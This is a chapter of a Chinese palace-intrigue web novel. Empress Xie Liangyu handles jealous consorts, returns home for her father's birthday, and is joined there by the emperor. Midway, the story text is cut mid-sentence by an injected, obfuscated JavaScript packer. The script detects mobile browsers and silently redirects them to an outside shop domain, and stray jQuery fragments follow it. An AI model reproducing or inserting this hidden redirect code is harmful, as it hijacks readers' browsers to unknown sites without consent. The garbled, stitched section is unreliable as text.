内侍长顺到寝殿通禀时,谢良玉用完早膳没一刻钟。
“启禀皇后,六宫妃嫔已按位份排列廊下,等待宣召。”
“请诸位娘子移步凤仪殿,皇后服了药便过去。”佩环开口。
听完长顺传话,除了李昭仪、元昭容,其余婕妤美人面面相觑。她们肯定皇后是故意的。
“你怎么看啊,郑美人。”杜婕妤挑眉看向郑美人。
“皇后身体不适,自是得需服药。”女子眉眼恬静,轻声道。
嗤笑出声,杜婕妤斜眉:“瞧她这副样子,宫里也不缺她吃食,这声儿还没有蚊子大,小门小户出来的,就是上不得台面。”
杜婕妤平日里欺负郑美人惯了,父亲又在御史台任职,监察百官,妃嫔们也不敢前劝。生怕惹着了杜婕妤,杜大夫再找茬儿参自己父亲、祖父一本。
前面媚眼如丝、中规中矩的是李昭仪,另个玲珑巧鼻、珠圆玉润的是元昭容。二人五官单看某处也是好看,但总体观来便又普通了。
李昭仪、元昭容素来不喜争端,好在位份高些,杜婕妤尚未欺负到她们头上。两人相视一眼,皆是无奈。
“哟,今日玉美人这身衣服很是亮眼啊。”瞧见玉美人的橘红紫蝶穿花裙,姜美人尖声道。
玉美人不好意思往后面躲了躲,想要遮住刚做的新衣。
“这是想引起皇后注意,还是陛下的注意呢?”姜美人故意瞪大眸子,上前抓住玉美人的衣衫。“这料子不便宜吧,吴尚书这是贪了多少?”
玉美人脸色一阵红一阵白,推开姜美人道:“你休要胡言乱语。”
玉美人的外祖父是户部尚书吴之英,可父亲却是个六品小官。当年祖父对外祖父有恩,虽儿女尚在襁褓,但也结了儿女亲家。后来外祖父发迹,也并未毁掉婚约。如此重情重义之人,怎么会贪污国库公银。
这是她娘托人送来,卖了陪嫁的首饰买料子,亲自给她做的。玉美人眸中含泪,觉得没必要向姜美人解释,说了只会换来变本加厉的嘲笑。
好是热闹。谢良玉站在屏风后,抬眼走了出去。
“皇后至——”
众人慌忙站好,皆是跪拜。
“都平身吧。”谢良玉坐好,淡淡开口。
妃嫔们起身,悄悄打量着上位的皇后。容貌淡而不寡,美而不妖,极为端庄。就是一个皇后该有的长相,说好看,没有那么惊为天人,说不好看,可人家确实好看。
不光妃嫔觉得谢良玉长得符合皇后的模样,连大臣们都对谢良玉的长相十分满意。一国之母哪能过分妖艳,太过甜美又失了国威,像谢良玉这般长相再合适不过。
而且身份贵重,家世清白,身上没什么优点,但也挑不出半分错处。
除了谢良玉,皇后之位绝无第二人选。
“赐座。”
“谢皇后。”
谢良玉吩咐宫人端上茶水。
“皇后身体好些了吗?”李昭仪率先开口询问。
“已无大碍。”
杜婕妤心想,李昭仪可真会趋炎附势,自己是学不来。
观察着各个表情,谢良玉视线落在玉美人身上。“秋不羡春蝶恋花,这橘红衣裙美甚。”
玉美人突地抬头,欣喜望向谢良玉,眼中溢满光彩。
“适合美人,还要多穿。”谢良玉眼神温柔。
“是。”玉美人面上漾起笑,说不出来的高兴。
“入了宫,诸位位份有高低,可德行不容有参差,应是齐心服侍陛下。”
可能知道自己骄横,杜婕妤觉得皇后这话是在点自己。心道,适才的话是不是被谢良玉听见了,还是其实皇宫内早就藏了皇后的眼线,在皇后未入宫之前。
这么想着,杜婕妤便开始气愤。好啊,皇后手眼通天,安国公府的爪子都已经伸到皇宫里了,定要父亲寻机会参谢擎一本。
而姜美人却是被吓住了,她父亲官位不高,心思更敏感。自皇后开口,她直觉表面是夸赞玉美人,实则在敲打自己,再加上后面的话。
她觉得自己父族比玉美人要好上一些,可玉美人偏有个官居要职的外祖,所以二人便位份无差,于是心生嫉妒。幸得玉美人性子柔软,便总忍不住奚落两句。
历任皇后没有回门一说,但今日恰逢谢擎生辰,未醒时便听内侍传信说,赵渊准她今日省亲。
大乾重师礼,当今陛下自幼随安国公习武,谢擎算是赵渊的师傅,帝王自然应为天下表率。于是谢良玉便让妃嫔们早些散了。
芙蕖湖边,萧疏云坐在亭子里饮酒。对面的桥上驶过一驾瞧上去简朴,但制作工艺极为考究的马车。风吹起车帘,女子的五官辨不清晰,只能远远地看出一个轮廓。
从不招摇过市,一如既往的低调不打眼儿。又兀自饮了一杯,醉意上来,萧疏云精神恍惚。谢皇后啊,还真是一点儿都没变。
林夫人站在国公府外。“快去禀告国公。”看到马车的影子连忙吩咐身边的婢女。
车停稳了,谢良玉由佩环扶下车。“母亲。”
含泪看着才一日未见的女儿,林夫人哽咽道:“妾参见皇后。”
谢良玉握住生母的手:“母亲,外面凉,先进屋吧。”
“臣,参见皇后。”谢擎站在正堂,神情严肃一如曩昔。
“女儿拜见父亲。”谢良玉颔首。
谢良玉的婚事谢擎早有所料,不至于同命谢华玉和亲一般,令他始料未及。当今陛下励精图治,他也颇为欣赏。只是自古皇家无情,女儿入宫祸大于福。
谢良玉自然知晓父亲心中所想,可赵渊为君,他们为臣,君命臣不得不受。
泠风院林夫人已派人打扫好,谢良玉刚坐下,便看到一个深蓝色的小人儿朝自己跑来。
“二姐姐。”谢欢气喘吁吁地停在谢良玉面前,肩上还挎着个小布包。
佩环拿出帕子,上前给谢欢擦了擦汗,问道:“小郎君这是下学了?”
谢欢看谢良玉盯着他,心虚地缩了缩脑袋。“二姐姐我不是有意的。”说完还恼怒地瞪了眼佩环。这个佩环,明知道他是逃课,偏是要问。
“二姐姐你别生气,我功课学的可好了,昨日还受到先生表扬了。”谢欢拉了拉谢良玉的袖子。
他自小便喜欢二姐姐,可二姐姐好似并不喜欢他。二姐姐总是板着脸,还总对他过分严苛,连父亲都不说他什么。
“谢芙在景园?”看着面前的小人儿,谢良玉张唇。
见谢良玉并不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17816697|211070||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
追究,谢欢心里一喜,开心道:“对,扶簪在我们那里,明天她就要当新嫁娘了。”
皇后明明省亲去了,李昭仪、元昭容收到赏赐皆是讶异。
“想来,是皇后早便为你我备好了的。”李昭仪分析道。
元昭容附和:“皇后确是个好人。”
想到杜婕妤回宫时暴跳如雷的样子,元昭容便想要笑。“总算有人治得了她了。”
知道元昭容话中指谁,李昭仪些许担忧:“就怕她再闹出什么幺蛾子。”
元昭容毫不在意:“小小水花翻不起大浪。”
“什么时辰了?”看完最后一本奏折,赵渊伸手揉了揉眉心。
“回皇上,未时了。”
这会儿她应该在用午膳吧,赵渊心想。“皇后几时回宫?”
“听皇后宫里的莺时说,酉时回来。”荣善如实答道。
赵渊站起身:“给朕更衣。”
安国公一家正在花厅用着饭,突闻一声高呼“圣人驾至”,一家人连忙起身,便要跪拜。
“免礼。”赵渊摆手。
“臣不知陛下驾临,有失远迎,还望陛下恕罪。”谢擎抱拳道。
“谢卿家言重了,今日乃是恩师生辰,朕略备薄礼。”
话毕,一排内侍端出贺礼。
“臣谢过陛下。”
赵渊示意大家都坐,谢擎连忙腾出位置,佩环长眼色,麻利换上副新碗筷。
“都是些家常便饭,还望陛下莫嫌。”谢良玉夹了块鱼肉放到赵渊碗里。
“皇后,寿桃好了。”佩环附耳。
一个个粉粉嫩嫩,冒着热气的寿桃被婢女们端了出来。
赵渊正身:“许久不曾食了。”
谢良玉垂眸:“乡间野食,恐污陛下圣口。”
厨房里,几个嬷嬷揉着面。
“往年都是二娘子与我等一起做,今年,哎。”王嬷嬷叹了声气。
“老姐姐,又胡说。现在该叫皇后。”李嬷嬷捅捅王嬷嬷的胳膊。
王嬷嬷笑着认错:“是是,是我糊涂了。”
“咱们皇后总爱把寿桃分给府里上下,说是让咱们也沾沾喜气。这主子们啊,也就皇后对咱们这些婢女、奴仆的最贴心了。”说到这儿,王嬷嬷不免又伤心起来。
李嬷嬷见王嬷嬷突然牵起袖子抹眼泪,连忙安慰道:“这喜庆的日子哭什么,不知道的还以为你家小媚要出嫁了。”
王嬷嬷哭着拍了拍李嬷嬷的手:“小媚一定能找户好人家,托皇后的福,差不了。”
谢良玉出生那年恰好兵荒马乱,百姓们走的走,失的失,许多人逼不得已卖身为奴。按照大乾以往的规定,家生子同父母一样也是奴籍。
可是,谁家父母又希望自己的孩子跟自己一样,一辈子只能为奴为婢呢?
看着谢良玉皱巴巴的小脸,谢擎当夜上书惠仁帝,请求废除家生子制度。考虑到当时的国情,也为了巩固人心,惠仁皇帝立刻便允了。
王嬷嬷家,就是改制后的第一批受益者。
暮色稍沉,街上行人少了许多。帝后各坐一旁,相对无言。今日赵渊也是低调出行,街边馄饨的香气飘散透过车窗。人间百态,个中滋味,自有人去体会。